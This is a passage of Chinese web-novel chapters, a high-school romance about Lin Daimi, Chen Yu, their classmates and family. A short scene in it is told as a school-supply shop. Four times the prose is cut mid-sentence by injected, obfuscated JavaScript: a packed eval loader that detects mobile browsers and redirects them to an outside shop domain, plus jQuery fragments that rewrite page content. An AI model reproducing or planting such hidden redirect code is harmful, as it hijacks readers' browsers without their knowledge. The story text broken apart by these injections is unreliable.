看上去,陈喻的就餐心情并没有因为没地方坐而变得不佳,他竟然让林黛蜜选座位。 “我一般坐在靠中间那块,”林黛蜜抬起手指,指了个大致的范围,“那里距离烧烤架和公路都远,既闻不到炭火的烟,也闻不到汽车尾气的烟。” 陈喻顺着她手指的方位看过去,选定了一个目标,然后把点点交给林黛蜜,轻声道,“等我一下。” 说完,不等林黛蜜问清楚要去干嘛,他便跑开了。孟源排在队伍里,只草草扫了一眼,便知道陈喻是去“买”座位了。 这是他的处事方法。 但这次,他似乎碰到了钉子。 陈喻走到一桌客人面前,从口袋里摸出几张钞票,放在油腻的桌角,“你好,这位置能让给我们吗?” 他的声音不大,语调也充满了有求于人的诚恳,这在陈喻看来,他已经做得很不错了。 但对方并不这样认为。 那桌人抬起头,眼神顿时变了,一个胳膊上纹着条蛇的男人猛得站起来,凳子“哐当”一声倒在地上。 “几个意思?瞧不起谁呢?” “年纪轻轻就学会了这一套,就你有几个臭钱?” “告诉你,老子发财的时候,你还不知道在哪里玩泥巴呢?” 这么大的动静,周围瞬间安静下来,无数道目光投向那边,这其中包含林黛蜜的。 她牵着大花走过去,隔在陈喻和那个人之间,林黛蜜是有点怕的,她的声音有些发抖,人却站得笔直。 林黛蜜明白,眼前这个凶神恶煞的人大概率不会对她动手,但是对陈喻就不一定了。 “大哥,您先不要生气,我朋友他没有恶意的。” 很奇怪,即使林黛蜜站在前面,可是,她感觉到身后的人僵了一瞬,这是他为数不多的,情绪外露的时刻,难道,是因为害怕吗? 没等她搞清楚,下一秒,一双温热干燥的手搭在她的肩膀上,坚定又温柔地把她往后带,他的语调难得和缓温柔,“不要害怕,” 而后,她听见陈喻对那人说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958196|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这根本不是一件值得动怒的事情,在我看来,这就是一桩生意,丝毫没有侮辱你的意思。” “你亲手毁掉了自己人生中一个美妙的夜晚。” “再教你一句,性格决定命运。”说完之后,陈喻捡起了躺在地上的钞票。 危机解除! 这个场景,就很值得玩味。其精彩程度,可以和《爱情公寓》中,展博误以为阿泰是色狼那场戏相比,每个人都有自己独到的见解。 陈喻:林糖糖在后面,我千万不能打架,虽然我不喜欢她,但我不会做有失风度的事情。 林黛蜜:人之将死,其言也善,他说的话好有哲理啊,我死之前也能说出这样的名言吗? 孟一格:都什么时候了,还装! 孟源:陈喻不对劲,非常不对劲。 纹身男:这年轻人怎么如此淡定,怕不是真的有点来路。 烧烤摊老板:吓死我了,我还以为又要进派出所做证。 众人:这两个小孩长得好看,遇事镇定,有点偶像剧那味儿。 最后,终究是没等到座位空出来,几人一字排开,蹲在马路牙子上吃了那顿烧烤。 四人一狗,倒也不错。 刚回到家,林黛蜜前脚换好鞋,后脚陈喻的□□消息就发过来了。 陈喻:【到家了吗?】 林黛蜜:【刚到。】 接下来,林黛蜜不知道要说什么了,毕竟两人才加上□□号不到24小时,丝毫没有共同话题。很显然,对面也这样想,两边僵持了几秒,既不说话,也没有说再见的打算。 她的手指在屏幕上划了一下,无意间切到另一个APP,那里面大篇幅都在讲拥有超高国民度女演员和出轨丈夫离婚的事情。 林黛蜜灵机一动,切回Q,Q。 糖:【你看到今天的娱乐新闻头条了吗?高缈离婚了,原因不明。】 陈喻:【嗯,看到了。】 糖:【你同意大多数网友的意见吗?他们都说爱情到最后都是一样的结果,哪怕他们拥有着常人难以企及的美貌,光鲜亮丽的职业,良好的经济基础。】 陈喻:【不同意。】 糖:【所以你相信爱情?”】 陈喻:【回答你的问题之前,我想知道你心里理想的爱情是什么?】 糖:【风雨同舟?】 陈喻:【我翻译一下你的话,找到那个志趣相投的人,克服艰难险阻,一起成为更好的人。】 糖:【是的。】 陈喻:【再说回高缈,我刚才大概了解了一下他们的恋爱经过,他们在一起拍了部戏,高缈从她的前夫那里获得了一种被宠爱、呵护的感觉,这种感觉,通过一些技巧,再加以练习,任何人都可以做到。】 陈喻:【这种爱是一方一直在满足另一方的私欲,但人是善变的,付出的一方不再付出,索取的一方感受到了落差,这段爱情就会结束。】 糖:【听上去貌似很有道理,不过,从这段话中,我感觉你是一个悲观主义者,你说什么技巧什么练习,我认为排除一些极端情况,在爱情之初,人们做出关爱呵护对方的行为一定是甘之如饴的。】 糖:【由此推断,你应该没有谈过恋爱。】 陈喻:【你谈过吗?】 糖:【没有啊。】 陈喻:【没有就好。】 糖:【?】 陈喻:【我的意思是,这个年纪好好读书,谈什么恋爱。】 糖:【同意!】 15. 15 周日一大早,林黛蜜枕着海绵宝宝的大脸,蜷缩在温暖的羽绒被里,意识在半梦半醒间漂浮,她听见厨房传来榨汁机闷闷的响声,还听见平底锅与铲子碰撞的清脆节奏。 煎蛋的焦香混合着培根的肉香一同钻进她的鼻腔,她可以想象那个画面,陆维正这会儿的动作肯定是手腕一抖,鸡蛋液在空中划出完美的弧线,然后稳稳落回锅中。 这项技能大概是在林黛蜜十岁的某个早晨被偶然发现的,当时林韵说,那是一个值得记录下来的时刻,于是她拿来了相机,为了让妻子捕捉到最完美的画面,陆维正那天连续煎了二十几个鸡蛋才出片,现在,那张照片和其他的美好瞬间一起,被挂在客厅那面墙上。 昨天和陈喻谈论关于爱情时,林黛蜜忽然想起了这件事,她从来没有思考过爱情是什么,在她的意识里,爱情就是她父母的状态,爱情代表了美好幸福纯粹,可陈喻明显不这样以为。 迷迷糊糊想着这些有的没的,林黛蜜眼睛睁不开,只有鼻子凭着本能嗅着香味,这是周日的特权,因为只有周日有时间,每周的这一天,父亲陆维正会亲自下厨,做一顿丰盛的早餐。 “儿子,去叫妹妹起床吃饭。” “好!”陆知珩从书房出来,将手里的抹布放卫生间,拐个弯走到那扇紧闭的门前抬手敲了两下,“林虫虫,起来吃早餐!我只叫这一次!” “再眯五分钟!”林黛蜜含糊地应道,顺便把脸更深地埋进枕头里。 她实在是搞不懂陆知珩,每周仅此一次的周日,为什么不选择睡懒觉,而是整理书房,那玩意儿你就算整理好了也还是会乱掉啊。 磨蹭了好一会儿,林黛蜜挣扎着从被窝里爬起来,套上拖鞋,她揉着眼睛慢吐吐挪动到为什么,直到冷水拍在脸上才彻底清醒过来。 对着镜子将乱蓬蓬的头发固定在头顶,等她晃进餐厅时,他们父子二人已经坐下,慢天斯理地喝着牛奶,那动作简直是复制粘贴。 林黛蜜拉开椅子坐下,木椅发出轻微的吱呀声,她先叉起一块蟹黄汤包,第一口下去,她瞪圆了眼睛。 “爸爸,这个汤包简直是……”林黛蜜想从脑子里搜刮点儿高级词汇出来,但没找到,只能干巴巴来一句,“太牛逼了!” 陆维正溺爱地看着女儿,笑了笑。 陆知珩则是不加掩饰的嫌弃,“林虫虫,你现在好歹也是附中的一员,词汇量怎么匮乏到这个地步。” “切,就你词汇量丰富。”林黛蜜又往嘴里塞了个蟹黄包,“会说几句酸词儿有什么了不起。” 眼看两兄妹又要掐起来,陆维正适时扭转话题,“糖糖啊,今天有什么计划吗?我和你哥哥一会儿去游泳你去不去?” “不去,我借了杨雅茹的作文,今天看完得还回去。” 陆知珩提醒道:“妈妈今天去开庭了,可能要下午才回来,你一个人呆在家里可以吗?” 陆维正也看着女儿,表达了同样的担忧。 “可以的,”林黛蜜都数不清自己这是第几万次强调,“你们就算不相信我,也要相信咱们小区的安保团队吧。” 真是甜蜜的烦恼啊,家里人总是不放心她一个人呆在家或者出门,可是他们大概忘了,她已经十七岁了。 父亲和哥哥出门后,林黛蜜给自己弄了个水果盘,又拿了包青瓜味儿的薯片,盘腿坐在沙发上。 她从书包里掏出杨雅茹的作文本,是学校统一发的最普通的那种,可眼前这一本,穿着合身的外套,没有一丝一毫的褶皱。林黛蜜十分自觉地将水果和薯片拿远。 不知道为什么,看到眼前的作文本,就是会下意识觉得,它只能是杨雅茹的。她一站在那里,你能感觉到如沐春风,春风会一直柔柔地吹着,却不欢快。 窝在沙发上,林黛蜜看完了那本作文本上的所有文章,最后,她望向天花板,长呼出一口气,得出一个结论。 写得太牛逼了! 望尘莫及啊! 下午六点,吃过晚饭之后,林黛蜜收拾好书包往学校赶去,忘了把交通拥挤的时间算进去,等她一只脚跨进学校大门时,预备铃刚好响起。 没敢停下来歇一口气儿,她拎着书包一路狂奔,因为周日晚上是胡波的晚自习,他要求所有人早于预备铃坐在教室里。 林黛蜜喘着粗气冲上三楼,由于惯性,帆布鞋在楼梯拐角处打了个滑,她扎住扶手,手腕上的电子表显示已经六点三十,正式铃声在她头顶响起。 “完了完了完了……”她小声念叨着,额前的碎刘海被汗水粘在皮肤上,这还是她长这么大第一次迟到,转过最后一个拐角,高二(6)班的门牌近在咫尺,林黛蜜提了一口气,却在距离门口还差一步的时候,教室门突然从里面打开—— “砰!” 一记闷响,她的整张脸撞上一道坚硬的肉墙,视线天旋地转之间,她看到那道修长的身影向后倒去,而她自己则因为惯性向前扑。 “小心!” 电光火石间,她下意识想抓住什么,却只攥住了对方的衣襟,伴随着“咚”的落地声,两人一齐倒在讲台上。 整个教室瞬间安静了。 林黛蜜从那人身上爬起来,看清眼前人的脸,她松了一口气,“是你啊陈喻,还好是你。” 陈喻在心里吐槽,还嘴硬,你想撞的不就是我吗?怎么这么心急,智取不行改生扑了? 天地良心,林黛蜜真的以为自己撞到的人是胡波呢,毕竟,正式上课的铃声都响过了,还有资格往外面走的,也只剩胡波了。 “哇哦——” 惊讶过后,教室里突然爆发出一阵起哄声。 “林黛蜜把陈喻扑到啦!” “在一起!在一起!” 哄笑声此起彼伏。 林黛蜜呆呆地看着这一幕,她不理解的点在于,他们两个人是摔跤了,又不是睡觉了,为什么就要在一起。 都什么年代了,就算睡觉了也不一定要在一起啊,好封建的思想。 陈喻垂眼盯着女孩,脸上挂着不自在的红晕,他轻声开口:“林糖糖……你要不先把我衣服放开。” “什么?” 林黛蜜低头,眼前又是一黑,要命,她把陈喻的衬衫扣子扯开了。就在这么个尴尬的时刻,林黛蜜还腾出一点心思想别的。 她发现陈喻有一种能力,越是基础款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958197|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式的衣服穿在他身上,越是好看,就拿他身上这件白色短袖衬衫来说。 周六买衣服的时候,林黛蜜怎么挑都感觉不是他的风格,后来,在一家小众牌子的橱窗看到模特身上这件,当时她就觉得,要是给那个模特安上陈喻的五官,那简直可以当他的蜡像。 没想到效果还真不赖,再加上陈喻有点偏拽的气场,他穿上之后,多了一种少年感拉满又张扬的美感。 “林黛蜜?”陈喻右手在女孩眼前挥了挥。 林黛蜜回过神:“那个对不起,我……我帮你扣上。” 顶着全班人看戏的目光,林黛蜜手忙脚乱地上手去扣扣子,她一边还担心胡波随时会进来,果然,人一着急就会出错。 她扣错了。 中间漏了一个。 “那个,我再来一次!”林黛蜜又去解那颗扣错的。 下一秒,胡波出现在了门口。 他被眼前的场面震慑到,一时竟然忘了开口阻止,就那么看着女孩子把男孩子的纽扣解开,然后扣上。 都不避人了,这难道是什么光彩的事儿吗? 班门不幸啊! 随后,陈喻慢条斯理地撑着地面站起来,再弯腰把林黛蜜拽起来,他刻意板着一张脸,佯装生气问道:“你跑那么急干什么?” 不正常,太不正常了! 陈喻那小子绝对在心里偷着乐,这是孟源从他的微表情中分析出来的,别以为没人知道,他小子刚才半躺在地上,嘴角勾着小幅度的笑,眼睛都不眨一下盯着林黛蜜给他系扣子、扣错、解开,再扣上。 给他小子享受到了。 孟源心里有了个十分大胆的猜想,听孟一格说,他身上那件衣服是林黛蜜赔的。那么就能推断出,陈喻今天晚自习穿这件衣服来,是特意来给林黛蜜看的,可是林黛蜜今天恰好迟到了,然后陈喻就不想呆在教室,然后就有了两人刚才的对话。 陈喻:“我不舒服,先回去了!” 孟源:“哪里不舒服?发烧了?。” 陈喻:“心里不舒服。” 孟源:“……6” “你伤到哪里了吗?”两人都站起来之后,林黛蜜这才想到他是病人这一茬。 啧啧! 还不如撞倒的是胡波呢。 胡波每天都健身(如果追着学生跑也算的话),他也没啥大病,比陈喻抗摔得多。她想仔细检查一下的,可又怕引来更多起哄,手臂一时尴尬地悬在半空。 “我没事儿,后背垫了书包。”陈喻的目光在她身上晃了一圈,“你呢?有没有哪里撞疼了?” “够了!” “我的心疼。” 胡波终于咆哮出声,“我说二位啊,我还在这儿呢。” “看到了。” 陈喻轻飘飘吐出三个字,然后弯腰捡起地上一黑一黄两个书包,拍打干净上面的土,把黄色的那只递给林黛蜜,全程连一个眼神都没有分给胡波。 胡波:“……” 好在林黛蜜是个正常人,她安抚了胡波即将喷发的怒火,然后三言两语解释清楚事情的原委,最后也加了几句诚恳的道歉,这事儿就算过去了。 16. 16 晚自习的时间是下午六点半到十点,中间有十五分钟的课间休息,孟一格告诉她,周日的课间休息是有惊喜的。 “什么惊喜啊?”林黛蜜兴奋得搓了搓手,一脸期待地看着孟一格。 “下课跟我走!” 孟一格口中的惊喜便是逛超市,附中的学生已经摸出了规律,每个周末,超市老板都会进一批新货,他大概是有什么渠道,总能弄来一堆好吃的,好玩的。 于是,周日的课间大家会一股脑跑到超市买东西,由于去的人太多,久而久之,买东西只变成了一个幌子,去那里“偶遇”变成了少男少女们不言自明的秘密。 想念某个人,假装去买东西,只为了在人群中见他或者她一眼,货架是个很好的伪装,你可以透过缝隙看,不会惹人怀疑,还能一路尾随着那个人,看个够。 林黛蜜觉得没必要,她要是发现自己喜欢一个人,就会第一时间直截了当告诉他。 随着人流,没一会儿两人就到了超市门口,里面挤挤挨挨的,货架与货架之间,三三两两挤满了交谈的学生。 孟一格问她:“怎么样,有没有看到空气中充满了粉红泡泡?。” “多么高超的营销手段啊。”林黛蜜点点头,喃喃自语道,“不过,要是他们想见的那个人恰好没来呢?” “没来的话,自然会经历失望,黯然神伤一阵子,下一次见到更高兴喽。” “搞这么复杂!”林黛蜜撇撇嘴,抬脚往里面走去,她还是看看有没有什么新鲜的玩意儿。 中途孟一格被叫走,只剩下她一个人,该说不说,里面还真有好几种她没看到过的辣条薯片,林黛蜜像是误入万花丛的蜜蜂,还没走几步,手挎篮里的已经堆了好几包。 正当她伸手去够高货架上的一包鸡胸肉薯片时,有人抢先了她一步,林黛蜜来这里并不知道自己想见谁,可她知道,她不想见的是谁。 那就是。 超级爱多管闲事的——陆知珩。 “陆知珩,请问你怎么会来这里?你是不是在跟踪我?” “我过来买根红笔。” “你走错地方了,文具区在那边。” “我知道,”陆知珩打量着她篮子里的零食,“这些东西你肯定不会带回去,那么就只剩下一个可能,你打算在下节自习课上吃。” “胡说!我可是好学生,上课从来都不吃东西的。” 林黛蜜有个毛病,一看到没吃过的零食,长相奇丑的玩偶,她就是想买,买回去就在家里放着,买玩偶没人管,但零食不行,林韵担心食品安全,不准她乱买乱吃。 “那就放回去几包!” “放回去就放回去。”林黛蜜再三比较几番,忍痛将里面的三包放回原地,篮子里就剩下一罐芋头条。 她看向零食们的目光像是妈妈看着女儿,我的亲亲宝贝们,委屈你们在这个冰冷的超市呆一晚上,妈妈明天就来接你们回家喔。 不要怪妈妈狠心,你们要怪,就怪这个蛇蝎心肠的男人吧。 林黛蜜都不想再看到他,打算去结账,却在转过身后,看到杨雅茹端端正正站在眼前。 她眼中未来得及收回的目光,让林黛蜜有一种似曾相识的感觉,她在陈喻眼中看到过,该怎么描述那眼神的内容。 破碎?向往?无能为力? 好端端的为什么会有这种目光? “糖糖,没想到你也在这里。”杨雅茹笑着打招呼,目光恢复了平日里的淡淡笑意。 “是啊,我来买好吃的,你呢?” 林黛蜜目光向下移动,看到她手里捏着一卷修正带,她的问题多余了,杨雅茹才应该是陆知珩的妹妹,他们俩才是志同道合的人。 这时,孟一格也过来了。 陆知珩朝二人点了点头,转身从货架上取下三瓶果茶,拎着购物篮去收银处结账。 几人从超市出来,林黛蜜和孟一格低头研究刚买的芋头条,陆知珩则把三瓶果茶摊开在两只手心,问杨雅茹,“你喜欢什么味儿的?” “都……都可以。” 她本能地说出这么一句,就像父母每次提出什么决定时,她回答的那样。 “不着急,你可以慢慢挑。” 她怔了片刻,五秒钟后,杨雅茹选了中间那瓶,“桃子味儿的吧,我喜欢吃桃子。” 孟一格余光瞥到这一幕,心头升起隐隐的担忧,林大呆瓜对此毫无察觉,她一手拿着海苔味芋头条,一手拿着香葱味儿芋头条,左边咬一口,右边咬一口,左边再咬一口,右边再咬一口……乐此不疲。 陆知珩把剩的其他两瓶果茶随意塞给她们俩,丝毫不关心她们喜欢什么口味的。 “唉!”孟一格拎着一瓶水,重重叹口气。 林黛蜜:“一格,你怎么了?” “我没事儿,你继续吃。” “哦!”林黛蜜不忘提醒孟一格,“明天咱们把蟹黄味儿和咸蛋黄味儿都买来尝尝哈。” 孟一格:“……” 林黛蜜的惊喜不在超市,在教室,当她走进教室的时候,看到自己桌上放着一个白色的购物袋,里面装着的,是她打算明天去超市接回来的“宝贝们。” “这是怎么回事儿?”林黛蜜在孟一格眼中找到了相同的困惑。 孟源懒洋洋回答,“还能是怎么回事?这是我喻哥买的呗,可某些人却忙着和其他小白脸打情骂俏。” 林黛蜜自动忽略孟源的后半句话,扭头问陈喻,“你为什么要帮我买啊?” 陈喻回答得漫不经心:“捡钱了,必须花掉。” “可是,捡钱了不是应该上交吗?” 陈喻:“……” 忘了她还是个遵纪守法的好公民。 他真的是手贱。 *** 杨雅茹攥着那瓶白桃味儿的果茶,等走到八班教室时,和她手心接触的那部分瓶身已经沾染了人体的温度。 “雅茹,原来你是去买水了,这是新产品吗?我想尝一点。” 此刻,杨雅茹有些呆愣,她还未置一词,刘小溪已经自顾自拧开自己的保温杯,伸过去要杨雅茹倒上。 这一次,杨雅茹没有像往常那样做,她拉开书包拉链,将果茶放进去,“明天吧,明天我买一瓶给你喝。” “这么小气!” 刘小溪明显不悦,她骤然扭过身子,粗暴地扯一把凳子,好和杨雅茹拉开距离。 杨雅茹冷眼看着这一切,她想起那件由张雨倩发起的,抵制语文老师的事情,当时,杨雅茹对此提出反对意见时,就是这样似曾相识的一幕。 她妥协了,因为她懦弱,她害怕产生冲突,她害怕被疏离。 可当时,林黛蜜做了什么举动呢,她站了出来,不光是站起来,而是站在讲台上,大声说,那是不多的。 隔着书包,杨雅茹捏了捏那瓶白桃果茶,她发现自己真的很卑鄙,明明今天,她买完修正带之后,就应该离开的,可她看到林黛蜜和陆知珩站在一起,她还是没控制住走了过去,甚至,回来的路上,她一直和陆知珩肩并肩走在一起。 与此相比,林黛蜜是全然不在乎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958198|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可就是林黛蜜的那种大大方方,才让她更加觉得,自己和她比较,简直是云泥之别。 心事重重回到家,杨雅茹把书包搁在沙发上,厨房门缝里飘出熟悉的补汤味道,今天是黑豆核桃猪骨汤,她轻轻一嗅就能判断出来。 她的母亲薛瑶那里,有一张关于熬汤的表格,就像教室墙上张贴的那张课程表,她会严格执行上面的内容,这两者唯一的不同大概是,她熬的是汤,老师们熬的是学生。就像老师不允许学生在任何一节课上看电影,薛瑶也不允许任何一个晚上,她不喝熬好的汤,而是喝别的什么饮料。 可实际上,学生不会因为少上一节课考不上清华北大,孩子也不会因为少喝一碗汤而得骨质疏松。 本来,薛瑶是为杨毅杨雅茹父女两个人熬的汤,可是杨毅后来喝腻了,他喜欢上了外面的汽水可乐,已经很少喝汤了。 可杨雅茹不可以不喝,她知道那是妈妈费心搭配,花了很多精力熬的,不喝的话,妈妈会伤心。 下一秒,薛瑶会从卧室出来,脸上挂着柔和的笑,她一定会说那几个字,回来啦,今天累不累啊? 她会回答,妈妈,不怎么累的,顺便搭配一个看上去心情不错的表情。 接着,薛瑶则会说,快洗手喝汤吧。 万年不变的寒暄,就好像,有人在她们母女头脑中设置了这段对话,一旦她打开回家的门,这两句台词就会自动触发。 既合理又诡异! “回来啦,今天累不累啊?” “妈妈,不怎么累的。” “快洗手喝汤吧。” 上面的流程进行完,出现了其他情况,引起局势变化的,是杨雅茹书包里的那瓶水。 按照惯例,在杨雅茹去卫生间洗手的空档,薛瑶会把她的书包拿到她的卧室,但今天,当她单手拎起书包时,那微微下垂的重量却让她起了怀疑。 于是,薛瑶打开了女儿的书包。那瓶白桃果茶就静静躺在里面,她脸上的笑容渐渐褪去。 杨雅茹从卫生间出来,刚好看到这一幕,她跑过去,急忙解释道:“妈妈,这是同学给我的,前几天我不是说过吗,班里转来一个很漂亮的女生,这是她给我的,她很热情,我只是不忍心拒绝她。” 拿林黛蜜当借口,在内心深处,杨雅茹对自己的鄙视和厌恶又深了几度。 薛瑶的脸色明显缓和不少,她把果茶从杨雅茹的书包里拿出来,搁在茶几上,“雅雅,妈妈不是不让你喝,只是这些东西里面全是糖精添加剂,喝进去那一瞬间很爽,可等它们进入脾胃,那就是你遭罪的时候,等它们毁了你的一切,再后悔也来不及了。” 这段话,很薛瑶,在成为家庭主妇之前,她是文学系毕业的硕士,她一般不说废话,从她口中说出来的话,至少得一语两关。 杨毅不喜欢薛瑶这样讲话,但薛瑶也不打算改,杨雅茹能听懂,但这次她装作听不懂。 “我知道,妈妈,我以后不会喝了,这一瓶您就留给我吧!” 记得有一次大课间,林黛蜜买了关东煮分享给她,杨雅茹摇着头拒绝了,但她问了个问题,“糖糖,你妈妈不会反对你吃这些吗?” “当然反对啊!” “那你还吃?” “她不让我吃,我偷偷吃啊,她不会发现的。” 是的,只要没人说,是不会被发现的,可杨雅茹不会偷偷的,因为在她的潜意识里,偷偷喝饮料这个行为,被她视作一种对母亲的背叛。 就像父亲对母亲的背叛那样。 她不想背叛母亲。 17. 17 下午的自习一般用来写作业,除了班主任,没有老师会进来,周一下午,连班主任都不会进来,因为他被叫去开大会了。 知道胡波一时半会儿不会来,班里的气氛有点放松,张雨倩开始喊“安静一点”,变成了,“别吵了”,再后来直接不耐烦,大声吼道,“能不能闭嘴,不说话会死吗?” “会死。”甚至有人故意回答。 这样一来,教室里的喧嚣更像一锅煮沸的水,秩序已经荡然无存,张雨倩站在讲台上徒劳地喊着“安静,闭嘴”,声音淹没在四十多名学生的嘈杂中。 孟源烦躁地扣头皮,噪音让他无法静下心来思考题目,他要和陈喻商量点其他事情,三两下合上书,“唰”一声,从草稿纸上撕下来一张纸。 快速写好之后,他将纸条递给陈喻。 陈喻扫了一眼,刷刷刷写了几个大字推回来。 孟源看完又推过去。 进行到第三个回合,给出去的一瞬间,孟源的脊背突然一凉,不是吧,他缓缓转头,看到了那个让他血液凝固的身影。 胡波。 他两只手背在后面,脸上半怒半笑,镜片后的眼睛扫描仪一样掠过一个个后脑勺,大多数人还没发现。 “让我也看看呗!”胡波从孟源手里拿过纸条,淡声道。 听到熟悉的声音,教室里立刻安静下来。 胡波拿着纸条,朗读起来。 “喻哥,周六你的生日怎么过?” “没意思,不过。” “那怎么可以,这是你走之前最后一个生日,必须隆重地举办,我都想好了,到时候咱们来一个鬼屋主题的,保准记忆深刻。” 胡波斜睨着孟源:“我下个月也过生日,你也帮我举办一个鬼屋主题的呗。” 孟源讪讪道:“老师,您不用去鬼屋。” “我怎么就不用去?” 孟源:“因为……那些小鬼儿根本没有您可怕。” 最后一个生日,林黛蜜扭头看向陈喻,他的头发茂密,脸色也正常,模样生得极好,她终于理解了鲁迅的那句话,所谓悲剧,就是把美好的东西,撕碎给你看。 林黛蜜在惋惜,她的这一行为落在胡波眼中,被解读成了深情对视。 “深情对视?” 林黛蜜惊讶地重复一遍,此刻,她已经被胡波单独叫到了楼道里,结合昨天晚上发生的意外,胡波断定他们在早恋。 林黛蜜觉得,这是胡波的过度解读,她第一时间否认。 “林黛蜜同学,你得明白,不管是作为你的班主任还是你爸爸的老同学,我都有义务管这件事情。” “我理解,但是老师,我们真的没有早恋。” “他不是就要……走了吗?刚才我的目光应该是提前缅怀。”怕他还是不信,林黛蜜又说,“其实,我喜欢的人已经去世了?” “什……什么?”胡波惊讶地差点跳起来,“年纪轻轻就……死了?” 难道这就是她转学的真正原因?那个男孩死了,老陆担心女儿睹物思人,然后转到了附中? 见他误会了,林黛蜜连忙解释,“老师,你别多想,我喜欢的人是周总理,我要是谈恋爱或者结婚一定会找那样的人,遗憾的是,直到现在我都没有遇到过那样的人。” 胡波:“……” 林黛蜜继续道。 因为他说过。 人类才是生生不灭的。 他说人生来是为人民服务的。生前的工作、劳动是为人民服务,死后骨灰撒在祖国的山水大地上,落在山头田野的,可以作为植物的肥料,落在水里的可以喂鱼虾,营养水生植物,还在继续为人民服务。只有这样,人类才是生生不灭的。 林黛蜜当时就被这段话击中了,原来世界上有这样的人,后来,看不进去书的她,认真研读了有关于周总理的传记,读到他们的爱情故事,还一度落泪,大概,从那个时候起,那样理想的爱情一直盘踞在了她心里。 “老师,你觉得和平年代会有那样的人吗?”林黛蜜对此,并不抱有太大的希望。 胡波自己都没有想到,接下来,他会说出那样一番话,后来,他告诉林黛蜜,那个瞬间,他好像回到了自己十七岁的时候。 一个黝黑劲瘦的小伙子,每周背着干粮,走十几里山路到学校,自己都不够吃,却想分一些给喜欢的姑娘,那个姑娘,现在变成了他的妻子,是他孩子的母亲。 胡波说。 “会有的,你还很年轻,还会走很多路,遇见很多人,生命的馈赠一定藏在某个墙角,你要做的,是不要停下前进的脚步,你心里期望的那个人也许,正马不停蹄往来赶。” 得了,这下他也放心了,这小姑娘连喜欢和崇拜都搞不清楚,早恋的那根电线还没接上呢,暂时不用担心她了。 胡波叹一口气,“你回去帮我把陈喻叫来。” “好的。” 说到这个陈喻,有点难搞,胡波教了这么多年书,送走了一届又一届的毕业生,干的年头多了你就知道,学生就那么几种,心里想的是什么,不说全对,也能猜个十之八九。 但陈喻这人让胡波有点迷茫。 他有一种疏离感,好像一直在寻找着什么,除了昨天发生的意外,胡波觉得他对任何人任何事情都是那样,可这种心态,不应该出现在他这个年纪。 陈喻打开门出来,看见一脸苦相的胡波,上前打趣逗乐,“怎么了波波,有什么烦心事儿,说出来我帮你摆平。” 胡波:“谢谢啊,我现在最大的烦心事儿就是你。” “我又没扣你的班分。” “你知道我为什么叫你来吗?” “大概能猜到。” “所以啊,喻哥,咱们能不能停止散发魅力啊,你知道昨天那半躺在讲台上像啥吗?” “像男妖精。” 没人能想象到,昨天晚自习之前的那一幕带给胡波的冲击力,他要不是老师,都有点磕他们俩了,是个人都能看出来,林黛蜜真的是被吓到了,嘴巴里都能塞进去个灯泡,但陈喻明显不是,他被撞倒之后,非但没起来,还好整以暇地看着林黛蜜帮他系扣子。 那眼神,直勾勾的,一想起来胡波就臊得慌,那是一个良民能有的? “总之,你以后收着点儿,你要是把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958199|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的实心白萝卜弄成花心的,你看我怎么收拾你。” “要是闹到见家长那一步,那百分百是你勾引的她。” 陈喻打断他的输出,“你可能想多了,她那么呆,我才不会喜欢她。” 明明是她喜欢的我,不过陈喻也能理解,胡波长这么大,没当过一天帅哥,自然不会知道,每天被深情凝视的感觉。 不过他没忘记,自己两个月后就要出国了,他和林黛蜜会成为彼此生命里的过客,可能以后都不会再见面,那点好感,也会被时间冲淡,直到消失得干干净净。 “这还差不多,”胡波终于换了个话题,“出国的事情准备得怎么样了?” “快了。” “行,回去把孟源给我叫出来。” —— 晚上回家后,林黛蜜拉开抽屉,拿出静静躺在里面的笔记本,手指抚过封面上凸起的花纹,那是手工压制的藤蔓和蔷薇图案,每一片叶子的脉络都清晰可见,笔记本四个角包裹着黄铜护角,时间久了,已经有些许氧化痕迹,书脊处用同色系的亚麻线手工装订,经历了无数次翻合,它依旧结实,目测能用到下个世纪。 